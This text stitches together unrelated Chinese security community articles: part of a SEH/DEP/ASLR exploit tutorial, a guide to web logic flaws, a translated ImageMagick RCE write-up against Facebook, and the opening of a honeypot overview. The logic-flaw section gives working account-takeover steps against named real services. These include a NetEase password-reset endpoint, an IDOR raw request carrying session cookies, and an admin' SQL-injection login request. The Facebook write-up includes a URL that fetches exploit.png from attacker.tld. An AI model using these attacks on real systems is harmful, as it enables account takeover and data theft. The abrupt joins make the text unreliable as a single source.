图10 堆栈溢出，导致执行了伪造的SEH handler，该handler被编译为PE EXE映像的主映像
当然，虽然自2005年以来Visual
Studio就默认启用了SafeSEH，但是，在现代应用程序中是否仍然存在禁用了SafeSEH的已加载PE代码呢？在自己探索这个问题的时候，我写了一个PE文件扫描工具，以便在系统范围内检测每个文件是否存在（或缺乏）漏洞缓解措施。当我使用这个扫描工具处理我的Windows
10虚拟机上的SysWOW64文件夹（并对非SafeSEH PEs进行过滤）后，结果令人大跌眼镜。
图11Windows 10 VM上的SysWOW64文件夹中的SafeSEH的PE缓解措施的扫描统计信息
看来，微软本身也有相当多的非SafeSEH PE，特别是至今仍在随Windows10一起提供的DLL。扫描我的Program
Files文件夹后，得到的结果则更有说服力，大约有7%的PE文件缺乏SafeSEH保护。事实上，尽管我的虚拟机上安装的第三方应用程序很少，但从7-zip、Sublime
Text到VMWare
Tools，几乎每个应用程序都至少含有一个非SafeSEH模块。即使在进程的地址空间中只有一个这样的模块，也足以绕过其堆栈Cookie缓解措施，进而使用本文中探讨的技术利用堆栈溢出漏洞。
值得注意的是，在如下所示两种不同的情况下，SafeSEH可以被认为对PE生效的，它们是我的工具在扫描中使用的标准：
1. 在IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG数据目录中存在上述的SEHandlerTable以及SEHandlerCount大于零的情况。
2. IMAGE_DLLCHARACTERISTICS_NO_SEH标志被设置在IMAGE_OPTIONAL_HEADER.DllCharacteristics的header字段。
假设一个没有采用SafeSEH措施的模块被加载到一个易受攻击的应用程序中，对于exploit编写者来说，仍然还面临令一个重要的障碍。回到图10，尽管一个伪造的SEH
HANDLER通过堆栈溢出被成功执行，但是这个handler被编译到了PE
EXE映像本身中。所以，为了实现任意代码执行，我们需要执行一个存储在堆栈上的伪造SEH HANDLER（一个shellcode）。
## DEP & ASLR
由于存在DEP和ASLR防御机制，在堆栈上将我们的shellcode用作伪异常handler存在多个障碍：
1. 由于存在ASLR机制，我们不知道Shellcode在堆栈上的地址，因此无法将其嵌入到我们的溢出内容中以喷射到堆栈中。
2. 由于存在DEP机制，在默认情况下，堆栈本身以及扩展的shellcode是不可执行的。
随着2004年Windows XP
SP2的问世，DEP首次在Windows世界得到了广泛的采用，并且从那时起，DEP已经成为当今使用的几乎所有现代应用程序和操作系统的普遍特性。它是通过使用硬件层内存页的PTE头部中的一个特殊位（NX，也就是不可执行位）来实现的，默认情况下，该位将在Windows中所有新分配的内存上被设置。这意味着攻击者必须显式创建可执行内存区域，方法是通过诸如KERNEL32.DLL!VirtualAlloc之类的API分配具有可执行权限的新内存，或者通过使用诸如KERNEL32.DLL!VirtualProtect之类的API将现有的非可执行内存修改为可执行的。这样做的一个副作用是，由于栈和堆在默认情况下都是不可执行的，因此，我们无法直接从这些位置执行shellcode，换句话说，我们必须首先为它开辟一个可执行的内存区域。
从exploit编写的角度来看，理解DEP的关键在于，DEP是一种要么全有要么全无的缓解措施：要么应用于进程内的所有内存，要么不应用于进程内的所有内存。如果使用/NXCOMPAT标志编译生成进程的主EXE，则整个进程将启用DEP。与诸如SafeSEH或ASLR之类的缓解措施形成鲜明对比的是，并不存在非DEP
DLL模块之类的东西。
从exploit编写的角度来看，DEP的解决方案早已被理解为面向返回的编程（ROP）。原则上，现有的可执行内存将与攻击者提供的堆栈一起以小片段的形式回收，以实现为我们的shellcode划分可执行区域的目标。创建自己的ROP链时，我选择使用KERNEL32.DLL!VirtualProtect
API，以便使存放shellcode的堆栈区域是可执行的。该API的原型如下所示：
BOOL VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORDflNewProtect,
PDWORD lpflOldProtect
);
在ASLR问世之前，如果可以通过溢出来控制堆栈，就可以将这五个参数作为常量植入堆栈，然后触发一个EIP重定向，使其指向KERNEL32.DLL中的VirtualProtect函数（其基地址是静态的）。在这里，唯一的障碍是——我们不知道作为第一个参数传递或作为返回地址使用的shellcode的确切地址。后来，攻击者利用NOP
sledding技术（在shellcode的前面填充一大段NOP指令，即0x90）解决了这个问题。然后，exploit编写者可以推断出shellcode在堆栈中的大致区域，并在这个范围内选取一个地址并将其直接植入溢出内容中，从而通过NOP
sled将这个猜测转化为精确的代码执行。
随着2006年Windows Vista中ASLR的出现，ROP链的创建变得有些棘手，因为现在：
1. DLL的基址和VirtualProtect的基址变得不可预测。
2. shellcode的地址难以猜测。
3. 包含可执行代码片段的模块的地址变得不可预测。
这不仅对ROP链提出了更多的要求，同时，还要求其实现要更加精确，因此，NOP
sled（1996年左右的经典形式）成为ASLR时代的牺牲品。这也导致了ASLR绕过技术成为了DEP绕过技术的前提条件。如果不绕过ASLR，从而至少定位含有漏洞的进程中一个模块的基地址，就无法知道ROP
Gadget的地址，从而无法执行ROP链，也就无法调用VirtualProtect函数来绕过DEP。
要创建一个现代的ROP链，我们首先需要这样一个模块：我们可以在运行时预测其基地址的模块。在大多数现代漏洞利用技术中，这是通过使用内存泄漏漏洞来实现的（这个主题将在本系列的字符串格式错误和堆损坏续集中加以探讨）。为了简单起见，我选择在易受攻击进程的地址空间中引入一个非ASLR模块（来自我的Windows
10虚拟机的SysWOW64目录）。在继续之前，必须了解非ASLR模块背后的概念（以及在exploit编写过程中的作用）。
从exploit编写的角度来看，以下是我认为最有价值的ASLR概念：
1. 在Visual Studio 2019中，ASLR是默认设置的。它使用/DYNAMICBASE标志进行配置，我们可以在项目设置的Project -> Properties -> Linker -> Advanced -> Randomized Base Address字段中进行配置。
2. 当使用该标志编译PE文件时，它（在默认情况下）总是导致创建一个IMAGE_DIRECTORY_ENTRY_BASERELOC数据目录（存储在PE文件的.reloc段中）。如果没有这些重定位信息，Windows就无法重建模块的基地址并执行ASLR。
3. 编译后的PE将在其IMAGE_OPTIONAL_HEADER.DllCharacteristics头部中设置IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE标志。
4. 当PE被加载时，将为其选择一个随机的基地址，并且其代码/数据中的所有绝对地址都将使用重定位部分进行重定位。这个随机地址在每次启动时都是不同的。
5. 如果用于启动进程的主PE(EXE)启用了ASLR，也会导致栈和堆被随机化。
您可能会注意到，这实际上会导致两种不同的情况，其中可能会出现非ASLR模块。第一种情况是显式编译模块以排除ASLR标志(或在该标志存在之前编译)，第二种情况是设置了ASLR标志，但由于缺少重新定位而无法应用。
开发人员的一个常见错误是，在他们的编译器中联合使用ASLR标志和“strip
relocations”选项，他们认为这样生成的二进制文件是受ASLR保护的，而实际上它仍然是易受攻击的。从历史上看，非ASLR模块非常常见，甚至在Windows7+
Web浏览器攻击中被滥用，并在商业恶意软件中大获成功。现在，这类模块已经逐渐变得稀缺，这在很大程度上是因为ASLR已经成为诸如Visual
Studio之类的IDE中默认启用的一种安全缓解措施。令人惊讶的是，我的扫描软件在我的Windows10虚拟机上发现了大量非ASLR模块，许多位于在System32和SysWOW64目录中。
图12 在我的Windows 10虚拟机的SysWOW64目录中找到的非ASLR模块
值得注意的是，图12中显示的所有非ASLR模块都具有非常不同（且唯一）的基地址。这些都是Microsoft编译的PE文件，其本意就是不使用ASLR，之所以这么做，很可能是出于性能或兼容性的原因。它们将始终加载到image_optional_header.imageBase中指定的映像基地址处（图12中突出显示的值）。显然，这些独特的映像基地址是编译器在创建时随机选择的。通常情况下，PE文件都会在其PE头部中包含默认映像基地址值，如0x00400000（用于EXE）和0x1000000（用于DLL）。这种专门创建的非ASLR模块与因失误而创建的非ASLR模块（如下面图13所示）形成了鲜明的对比。
图13 在我的Windows 10 VM的“Program Files”目录中找到的非ASLR模块
这是在最新版本的HXD Hex
Editor中作为重定位剥离(不知情的开发人员的旧优化习惯)副作用而创建的非ASLR模块的一个主要例子。值得注意的是，您可以在上面的图13中看到，与图12中的模块(具有随机基地址)不同，这些模块都具有相同的默认映像基地址0x00400000（已经被编译到它们的PE头部中）。这与其PE头部中存在的IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE标志相结合，表明编译它们的开发人员假设它们将使用随机地址进行加载，而不是在0x00400000处进行加载，并认为它们会受到ASLR机制的保护。然而，在实践中，我们可以肯定它们总是被加载到地址0x00400000处，尽管已经启用了ASLR——因为在没有重新定位数据的情况下，操作系统是无法在初始化期间重新设置它们的基地址的。
通过回收非ASLR模块的可执行段(通常是它们的.text段)中的代码，我们能够构造相应的ROP链来调用KERNEL32.DLL!VirtualProtect
API，并为堆栈上shellcode禁用DEP保护机制。
在图12中可以看出，我选择了SysWOW64中的非ASLR模块msvbvm60.dll作为ROP链，因为它不仅缺少ASLR保护，而且还缺少SafeSEH(考虑到我们必须知道在溢出时写入堆栈的伪造SEH
handler/stack pivot
gadget的地址，这是一个至关重要的细节)。此外，这里还通过IAT导入了KERNEL32.DLL!VirtualProtect，这一细节极大地简化了ROP链的创建过程，下一篇文章将对此进行深入的探讨。
## 小结
在本文中，我们为读者详细介绍了SEH劫持技术，以及DED和ASLR防御机制，在接下来的文章中，我们将继续为读者讲解如何创建ROP链。 | 社区文章 |
## 逻辑漏洞
>
> 逻辑漏洞应用在方方面面，主要是根据应用不通产生的逻辑方面漏洞不同。比如金融网站和互联网网站以及购物网站，挖掘逻辑漏洞方法完全不一样。所以本篇算是冰山一角，给大家一个科普！
## 常规漏洞漏洞
逻辑漏洞是指由于程序逻辑不严或逻辑太复杂，导致一些逻辑分支不能够正常处理或处理错误，一般出现在一下几个方面：
* 任意密码修改（没有旧密码验证）
* 越权访问
* 密码找回
* 交易支付金额
* ......
登陆时，是否可以绕过验证码形成撞库
### 登录处主要存在的点
* 返回包中有验证码
* 返回页面 hidden中有验证码
* 有些其他登陆url中不需要验证码
* 验证码不变，验证码没有一个完整的服务请求，只在刷新url时才变
* 第一次请求包验证了验证码是否正确，第二次请求不需要验证
* 拦截登录时验证码的刷新请求，第一次验证码未失效，可绕过
* 验证码和用户名、密码是否一次同时提交
* 公众号，app无验证
### 实例-反向爆破漏洞
在我们得到相关信息后，可以通过截断把加密后的密码确定为固定项，把其他用户信息用密码本的形式进行爆破，可以暴力测试账号与密码是否匹配。
`168168`加密后得到以下字符串，并尝试登录成功
`08E304A899D50BC4ACDBFB56D0EBFD1E303FD10D1A37BB45547CB5D98323191003EBC244F8480D9110B403E621B40327B3E41B96D0FD87D803DFC176E0B580C81BE9A0F7455F2DCE8D416E67CEE6822E2887B1A348953CD3EFF279222F08786E7D547E2423D9CA102AED6867DA0059D89FE83AAC753894313B0B881A43847458073E`
当我们把密码固定后利用系统验证可以绕过的漏洞，可以对银行号进行爆破，众所周知，银行卡密码为6位数字，而且有很多为`123456`等弱口令，可以利用他系统的加密方法对常用口令进行加密，然后进行爆破测试。
### 密码找回
* 验证码回传
* 验证码时间长，不失效可爆破（字典可去除全1重复数多的）
* 修改密码，修改发送手机号修改为自己可控，
* 邮箱验证可猜测
* 假如找回需要4部，最后一部有user参数，用自己账号正常到第三部，第四部修改user实现逻辑
* 可以跳步找回（直接访问页面）
* 本地验证，修改返回值
* 服务器验证为空，包中直接删除验证码
* 个别验证码全0可绕过
* token生成可控（wooyun两篇实例）
* cookie覆盖
* 删除验证码校验，绕过
### 实站-网易邮箱密码重置
首先注册一个`126`邮箱测试帐号
然后会跳转到一个手机绑定得安全提示上
这个链接注意下参数，有个uid，将uid修改为要黑掉的网易邮箱帐户
填入一个你可控的手机号码，将确认码发回来
点击确定并进入邮箱，这个时候这个目标网易邮箱已经被越权绑定了密保手机。
然后走正常的密码取回流程，发现这个邮箱多了一个通过手机的取回方式，这个手机尾号就是我刚刚绑定的手机！
密码重置成功！！
漏洞证明：
存在权限判断不当，越权操作的接口是：
`http://security.mail.126.com/mobileserv/mbp.do?uid=[写你想要进行修改的账号]&backurl=`
### 支付
* 金额运费修改
* 修改bxprice，可改成任意负数金额数量
* 请求重放，多次下单
* 并发 （数据库操作加锁）
* 参数污染 请求没该参数，却返回该参数，可请求该参数污染返回值
### 越权逻辑漏洞
越权访问漏洞，又可以分为横向越权访问漏洞与纵向越权访问漏洞两类。
### 横向越权访问漏洞
指的是权限平级的两个用户之间的越权访问。
比如，一个正常的用户A通常只能够对自己的一些信息进行增删改查，但是由于程序员的一时疏忽未对信息进行增删改查的时候进行一个判断，判断所需要操作的信息是否属于对应的用户，因此，导致用户A可以操作其他人的信息。
### 实例- 51社保某处越权查看任意用户信息漏洞
厂商 dingxue
问题点
>
> /shebao/fillinfomation?insurance_location_id=6&employee_id=203§66§&person_id=
> ***** &action=zr01
>
> 危害描述
* 权限绕过查看任意用户个人信息，姓名，身份证等
* 漏洞产生原因
* 参数未过滤
* 测试过程
访问微小宝 `http://***.***.**.***:8015/` ，注册登录，填写个人信息，
在填写参保人信息处存在越权，`employee\_id`参数可被遍历：
数据包如下：
GET /shebao/fillinfomation?insurance_location_id=6&employee_id=***§66§&person_id=***&action=zr01 HTTP/1.1
Host: ***.***.**.***:8015
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://101.200.47.130:8015/insuranceGoods/InsuredCity?employee_id=20367&person_id=1906&action=zr01&ppkstr=23a0c06b&sign=2ab6c3cc61823741e21c0c16b1535640
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=38472b126ad61367accf611ee2177868; sensorsdata_is_new_user=true; mediav=%7B%22eid%22%3A%22247642%22%2C%22ep%22%3A%22%22%2C%22vid%22%3A%22J%3C7.725%28S%5B%3A%23s%5BD.lsmc%22%2C%22ctn%22%3A%22%22%7D; sensorsdata2015jssdkcross=%7B%22distinct_id%22%3A%2215d7cb69eec252-027ceb515d3c64-396b4e08-1049088-15d7cb69eed504%22%2C%22props%22%3A%7B%22%24latest_referrer%22%3A%22%22%2C%22%24latest_referrer_host%22%3A%22%22%7D%7D; QIAO_CK_4496944_R=; XSRF-TOKEN=eyJpdiI6Ik4ydW01bHlYVk13cG5NQ1c1R0M5M2c9PSIsInZhbHVlIjoiNkNjc0trK1d1M3hcLzUxVmsyZ3htNlkwTER0NzB3M0dNVFF5Qzlrb2NSOW5WUmdCNHRaK1k5ZkFUcGFha1ZEbDJkeXdXYWpJdUpvWEpadE15b0RubVhnPT0iLCJtYWMiOiIyNGIwYzhjNDZmNDg1MDk2MzFkMWRhNDAwZmIwZWNiZDQ5MDA1MTA3YTIwMTBkZjQyZjMyY2Q0OTgyNWNhYmVmIn0%3D; JSESSIONID=ebaa9b41-e550-4d85-b86d-526a45188dc8; zg_a815ea19015249a89df426c65e1af46c=%7B%22sid%22%3A%201501038882.966%2C%22updated%22%3A%201501038882.974%2C%22info%22%3A%201501035913966%2C%22cuid%22%3A%20%22%22%7D; laravel_session=eyJpdiI6ImhxNUZlQTIwNUExc3RjZFhwcGxnR2c9PSIsInZhbHVlIjoiWkttQWFwMzIrRmF0amNPZmVqMVIrQUhKU3NKdVVTdHVQWU1rQzVNb1hJaG5pSDdPRlNpUmlOVGlWK1hhdzl2ZUZEekE1eXBqZyt5YzZaeHQ3MzR1dkE9PSIsIm1hYyI6ImQ4Yjc2YjI3OWE3OTYzZDMwNTFiMDA0MmNlODIzYTBiZDA1ZDZmNTM0MTkzMTljZDU2ZTY3NDFiMGRlMzNiZmUifQ%3D%3D; zg_did=%7B%22did%22%3A%20%2215d7cb662e3216-0784492e5511c4-396b4e08-100200-15d7cb662e43c7%22%7D; zg_0deb6c6901bb4eb1b0f324b22d68b5d1=%7B%22sid%22%3A%201501039780.298%2C%22updated%22%3A%201501039780.298%2C%22info%22%3A%201501035929285%7D; _ga=GA1.1.342311860.1501035929; _gid=GA1.1.581291768.1501035929; Hm_lvt_717da9fbbb380c7b043ea096861c919d=1501035929; Hm_lpvt_717da9fbbb380c7b043ea096861c919d=1501039780; responseTimeline=321; _qzja=1.1931991145.1501035929340.1501035929341.1501039780458.1501035929341.1501039780458.0.0.0.2.2; _qzjb=1.1501039780458.1.0.0.0; _qzjc=1; _qzjto=2.2.0; Hm_lvt_da0f0096fceb023ff28522eece668c90=1501035792; Hm_lpvt_da0f0096fceb023ff28522eece668c90=1501039803; Hm_lvt_9ff162bfe3685ed2a2c02c334f975e51=1501035792; Hm_lpvt_9ff162bfe3685ed2a2c02c334f975e51=1501039803
Connection: close
### 纵向越权访问漏洞
* 指的是权限不等的两个用户之间的越权访问。
* 一般都是，低权限的用户可以直接访问高权限的用户的信息。
比如，在论坛中，你是一个普通用户，有一天，你通过`burpsuite`抓包修改了自己的用户`ID`为管理员的用户ID，一不小心，成功登陆了管理员的账号。
### 实例-湖南科创cms通用注入漏洞
打开网站，经过查找探测发现注入点，漏洞参数为`ZNSearch`，类型为盲注、字符型注入。
> <http://www.chinacreator.com/login.jsp>
发现注入点存在于字段`userName`中
当用户利用万能密码进行测试时就可以突破网站的权限限制，成功利用到管理员的身份。这是最简单的也是最典型的纵向越权，可以让普通用户获得管理员的身份进行访问。
POST /login.jsp HTTP/1.1
Host: www.chinacreator.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.chinacreator.com/login.jsp
Cookie: JSESSIONID=34BA53DE1B50A0A67339B330D6E26E2E; USERNAME=admin'
X-Forwarded-For: 8.8.8.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 102
flag=yes&macaddr_=&machineName_=&machineIp_=&userName=admin%27&password=asdf&yzm=7407&subsystem_id=cms | 社区文章 |
# 【技术分享】利用ImageMagick命令执行漏洞拿下Facebook四万美元奖金
|
##### 译文声明
本文是翻译文章，文章来源：4lemon.ru
原文地址：<http://4lemon.ru/2017-01-17_facebook_imagetragick_remote_code_execution.html>
译文仅供参考，具体内容表达以及含义原文为准。
**翻译：**[ **pwn_361**
****](http://bobao.360.cn/member/contribute?uid=2798962642)
**预估稿费：100RMB**
**投稿方式：
发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿**
**前言**
我相信很多人都知道[ImageMagick](https://www.imagemagick.org/)和[它存在的漏洞](https://imagetragick.com/)，这个漏洞发现于2016年四月底，同时，由于许多插件都依赖于这个ImageMagick库，因此，这个漏洞的影响范围很大。有证据表明，关于这个漏洞的信息，发现它的研究人员是知道的，ImageMagick开发团队的人也知道，但是，糟糕的是，一些其它的人(坏人)也知道了这个漏洞，在2016年5月3日，在互联网上发现了这个漏洞的POC。许多研究人员发现了这个问题，而且应用程序还没有及时更新。但由于一些未知的原因，我不在其中，但这是在5月份。
**漏洞分析**
直到十月的一个星期六，我对一些大的服务(不是Facebook)进行了测试，当时一些重定向让我关注到了Facebook。这是一个《分享到Facebook》对话框：
链接是：
[https://www.facebook.com/dialog/feed?app_id=APP_ID&link=link.example.tld&picture=http%3A%2F%2Fattacker.tld%2Fexploit.png&name=news_name&caption=news_caption&description=news_descriotion&redirect_uri=http%3A%2F%2Fwww.facebook.com&ext=1476569763&hash=Aebid3vZFdh4UF1H](https://www.facebook.com/dialog/feed?app_id=APP_ID&link=link.example.tld&picture=http%3A%2F%2Fattacker.tld%2Fexploit.png&name=news_name&caption=news_caption&description=news_descriotion&redirect_uri=http%3A%2F%2Fwww.facebook.com&ext=1476569763&hash=Aebid3vZFdh4UF1H)
大家可以看到，如果我们仔细看，我们可以看到在URL中有一个“picture”参数。但是在上面提到的页面内容中，这并不是图片URL，例如：
<https://www.google.com/images/errors/robot.png>
变成了：
[https://external.fhen1-1.fna.fbcdn.net/safe_image.php?d=AQDaeWq2Fn1Ujs4P&w=158&h=158&url=https%3A%2F%2Fwww.google.com%2Fimages%2Ferrors%2Frobot.png&cfs=1&upscale=1&_nc_hash=AQD2uvqIgAdXgWyb](https://external.fhen1-1.fna.fbcdn.net/safe_image.php?d=AQDaeWq2Fn1Ujs4P&w=158&h=158&url=https%3A%2F%2Fwww.google.com%2Fimages%2Ferrors%2Frobot.png&cfs=1&upscale=1&_nc_hash=AQD2uvqIgAdXgWyb)
我首先考虑到了一些关于[SSRF](https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit)的问题。但是测试显示，这个URL中的参数请求来自于31.13.97.*网络，通过“facebookexternalhit/1.1”参数，如下：
它看起来像独立服务器的正常请求。我开始深入挖掘。在对这个参数进行一些测试后，我很失望，没有一个成功，[ImageTragick](https://imagetragick.com/)是最后一点希望。如果你不熟悉这个问题或有点懒惰，这里有一[POC](https://github.com/ImageTragick/PoCs)链接。下面是一个简单的exploit.png载荷：
但是当我监听端口时，什么也没发现：
不过，如果有一些防火墙限制呢？-我问我自己。
好吧，通常一些公司会过滤正常的请求，但是不会过滤DNS，让我们再试一个载荷：
结果是：
这个IP是谁的呢？看下图：
成功了！
让我们总结一下，应用程序的工作流程是：
获得“picture”参数，并向它发出请求，这个请求是正常的，没有漏洞。
收到一个图片，这个图片经过了converter的转换，而它使用了有漏洞的ImageMagick库。
说实话，我试图找到一个通用的方法来利用这个HTTP请求，但是经过简短的测试后，我发现所有向外的端口都被关闭了，我花了很长的时间去找一个能打开的，没有成功，我需要找到另一种能让POC有效的方法。
载荷：
回应是：
下面是“id”返回的信息：
为了充分证明存在这个漏洞，我给Facebook安全团队提供了“cat/proc/version”的结果，在这里我就不公布它的结果了。
根据Facebook负责任的漏洞披露政策，我没有进行更深的研究。
我和Facebook安全团队的Neal研究员讨论了最初的报告，“cat/proc/version |
base64”可能更好，同时，一些更深层次的研究表明，“base32”在包括DNS隧道的各种技术中是比较常用的(请看：https://www.sans.org/reading-room/whitepapers/dns/detecting-dns-tunneling-34152)。
我很高兴成为攻破Facebook的人之一。
**时间线**
16 Oct 2016, 03:31 am: 初始报告;
18 Oct 2016, 05:35 pm: Neal向我要使用的POC；
18 Oct 2016, 08:40 pm: 我发送了一个POC并提供了额外的信息；
18 Oct 2016, 10:31 pm: Neal确认了漏洞；
19 Oct 2016, 12:26 am: Neal说正在修复漏洞；
19 Oct 2016, 02:28 am: Neal通知我说漏洞已经修复；
19 Oct 2016, 07:49 am: 我回答说，确认漏洞修补，并要求披露时间表；
22 Oct 2016, 03:34 am: 尼尔回答披露时间表；
28 Oct 2016, 03:04 pm: 4万美元的奖励发放；
16 Dec 2016: 披露批准； | 社区文章 |
计划的系列文章内容分为以下几个部分，按照论文撰写的脉络来讲：
1. 蜜罐与内网安全选题思考
2. **蜜罐技术科普与发展简述（2016年）-本文**
3. 常见内网攻击类型及检测思路
4. 多款开源蜜罐数据样例与应用分析
5. 攻击序列、攻击模式与攻击者标签
6. 攻击模式匹配算法提出
7\. demo系统设计
8\. demo实现过程中的一些技术点
7. 实验室环境下的测试过程
8. 我的论文小结（附参考文献列表）
我最近也在 **反思我过去习惯的一种学习方法，俗称“学习5分钟，笔记半小时”，然后由于没有配合实践，学的东西也忘了，笔记也没想有再复习**
，这种方法其实是很打消人学习积极性的，比如我每天想花5分钟读个英文小故事，结果光查生词每次就要花半小时，那坚持两天，一忙就放弃了。其实如果读英文小故事的目的是为了培养阅读兴趣的话，生词不查也罢，看懂故事大意，保持一个兴趣，很多单词的意思借助上下文慢慢就理解了。
这一篇讲点历史，读者就当读个小故事，
**如果你目前只是对蜜罐有点兴趣，花5分钟阅读就行，参考资料可以暂不理会，等以后到了真正需要拓展的时候你记得有这篇文章可以参考就ok了** 。
本文有点像综述，发出来我都有点不好意思。再下一篇我会写内网攻击类型相关的，有实际操作的部分。更新频率上，我也努力保持每周一篇，不能太坑。
* * *
一篇学位论文中，“国内外现状”是必不可少的一部分，在了解研究现状的基础上，扩展视野的同时也好修正自己的研究方向。
**结合当时搜索阅读的几十篇文章，本文可以算是一篇蜜罐技术的发展简述，后边会给出一些蜜罐的参考阅读文章，方便想了解蜜罐技术的朋友阅读，最后也会给出我在这部分引用的参考文献，如果是在校大学生也想研究这块课题的可以通过搜索相关论文阅读**
。
# 0x01 蜜罐定义、分类及功能
> 通常
> **将蜜罐(honeypot)定义为一种安全资源，它不需要提供实际的应用，蜜罐的存在价值就是诱导和记录攻击行为，从而了解攻击者的入侵方法和手段，并能够延缓其攻击进程**
> ，进而根据捕获的攻击行为数据，分析攻击者使用的攻击方法和工具，从而让防御方针对性地增强系统的安全防护能力[8]。
蜜罐通常具备 **数据捕获、数据分析和数据控制**
方面的功能[34]。数据捕获主要收集主机数据或者网络数据，主机上可以捕获攻击者的TCP连接情况、执行的命令、各种日志信息等，网络数据包括防护系统日志、网络流量数据等。但蜜罐的价值通常需要对捕获的数据进行分析后才能体现，主要包括网络协议类型分析、攻击行为分析和攻击数据包内容分析等[35]。数据控制主要是指通过对蜜罐的对外数据发送和网络进行限制，使得当蜜罐系统被攻击者攻破时，也不会造成更多的危害。数据控制主要用来保障蜜罐本身的安全[36]。
本文通过在对文献资料研究的基础上主要从交互程度和具体实现角度对蜜罐进行分类[37, 8]。分类方式换个视角就可以重新分类，这里简单列举两种。
## 按交互程度分类
蜜罐的交互程度通常取决于蜜罐对相应服务的模拟程度。
（1）低交互蜜罐
该类蜜罐通常只提供少量的交互功能，蜜罐在特定端口监听连接并记录数据包，可以用来实现端口扫描和暴力破解的检测
[38]。低交互蜜罐结构简单，易于安装部署，由于模拟程度低功能较少，收集信息有限但风险也较低[39]。
（2）高交互蜜罐
高交互蜜罐通常基于真实的应用环境来构建，能提供真实的服务。高交互蜜罐可用来获取大量的信息，能够捕获攻击者多种操作行为，从而具备发现新的攻击方式和漏洞利用方法的能力[40]。由于高交互蜜罐给攻击者提供了一个相对真实的应用环境，因此风险较大，通常会注重数据控制方面的功能[41]。
## 按具体实现分类
蜜罐按照实现的方式可以分为物理蜜罐和虚拟蜜罐。
（1）物理蜜罐
物理蜜罐通常指真实的物理计算机，安装了相应的操作系统并具备网络环境，它能提供部分或完全真实的应用服务。物理蜜罐通常成本较高。
（2）虚拟蜜罐
虚拟蜜罐通常是利用虚拟机技术模拟而成的蜜罐，成本相对物理蜜罐较低。但由于虚拟机本身的特点，虚拟蜜罐容易被有经验的攻击者识别[42]。还有这两年流行的基于Docker的蜜罐。
# 0x02 国内外研究现状
互联网发展的过程中一直承受着各类网络安全问题的威胁[2]。随着技术的发展，攻击手段与防护措施也在不断博弈。但是由于攻守双方的角度不同，防守方往往处于被动局面，攻击方只需要找到一个突破点就能攻击成功，而防守方不仅要考虑全局还要具备快速的检测和应急机制才能尽可能确保信息系统安全。
**蜜罐技术(honeypot)就是为了改变这种被动的防护状况而出现的一种更加主动的防护技术**
[3]。蜜罐相当于一种安全资源，它不需要提供实际的应用，蜜罐的存在价值就是诱导和记录攻击行为，从而了解攻击者的入侵方法和手段，并能够延缓其攻击进程。国内外越来越多的安全从业者已经开始关注和研究蜜罐这种新型的网络安全技术。
## **国外**
1989年蜜罐技术首次被提出，发展过程中在[The Honeynet
Project](http://www.honeynet.org/)等开源技术团队的推动下，出现了应对不同类型网络安全问题的蜜罐软件工具。蜜罐技术也
**从蜜罐发展到蜜网(honeynet)[4]、再到分布式蜜网(distributed honeynet)和蜜场(honeyfarm)**
[5]。蜜罐技术也不断应用到 **恶意样本捕获、入侵检测、攻击手法分析、网络取证、僵尸网络调查** 等安全方向。
蜜罐网络项目组（HoneynetProject）是研究和推动蜜罐技术的知名机构，它是一个由许多国内外志愿者组成的开源技术研究组织。2000年左右，蜜网项目组主要进行理论验证和模型蜜罐系统的测试，根据研究和试验结果提出了第一代密网的理论并进行了可行性和有效性相关的验证。2002至2004年，蜜网项目组主要研究了数据控制、数据捕获和数据分析相关的理论技术，随后发布了第二代蜜网模型框架，并重点研究了如何简化密网的部署。
**2005年至今，密网的便捷化、数据捕获和数据分析成为了蜜网项目组的研究重点** ，第三代蜜网结构框架也是在此期间发布[6]。
目前，蜜罐技术的研究者们已经研发出了多种类型和功能的蜜罐。值得一提的[是现代密网(MHN，Modern Honey
Network)项目](http://threatstream.github.io/mhn/)，MHN很大程度上简化了蜜罐的部署，让研究者可以快速部署蜜罐系统用来捕获攻击数据，近几年MHN开源项目社区持续活跃，不断升级更新，有很好的应用前景[7]。MHN支持多种开源的蜜罐软件，支持开源的通信协议hpfeeds
[7]。
## **国内**
从近几年国内公开的学术论文、技术社区和其他文献资料来看，国内研究者对蜜罐技术的研究和应用还不够广泛[8]。2006年开始，蜜罐技术首先被用来进行蠕虫的检测[9，10]，2008年开始，出现将蜜罐应用到端口检测[11]方面、入侵检测方面[12]以及攻击预警方面[13]。此后，也有研究者将蜜罐技术应用到安全的校园网[14]、企业网络[6]的建设中，除了有线网络的应用，也出现了无线蜜罐技术的应用[15]。但将蜜罐技术应用到内网安全上的文献资料极少，仅有的文献也是在用通用的蜜罐架构，通过将高交互蜜罐部署到内部网络试图捕获未知攻击、发现系统未知漏洞以及了解攻击者的攻击手法和所用工具[16]。
蜜罐技术在网络安全威胁的应用上，北京大学[
**狩猎女神研究团队**](http://netsec.ccert.edu.cn/zhugejw/2011/11/28/狩猎女神的前世今生/)项目研究成果较为突出[17]。2004年北大计算所组建狩猎女神蜜网项目组，并且2005年该项目组作为中国大陆唯一加盟团队成功加入世界知名的的蜜网技术研究组织蜜网项目组(Honeynet
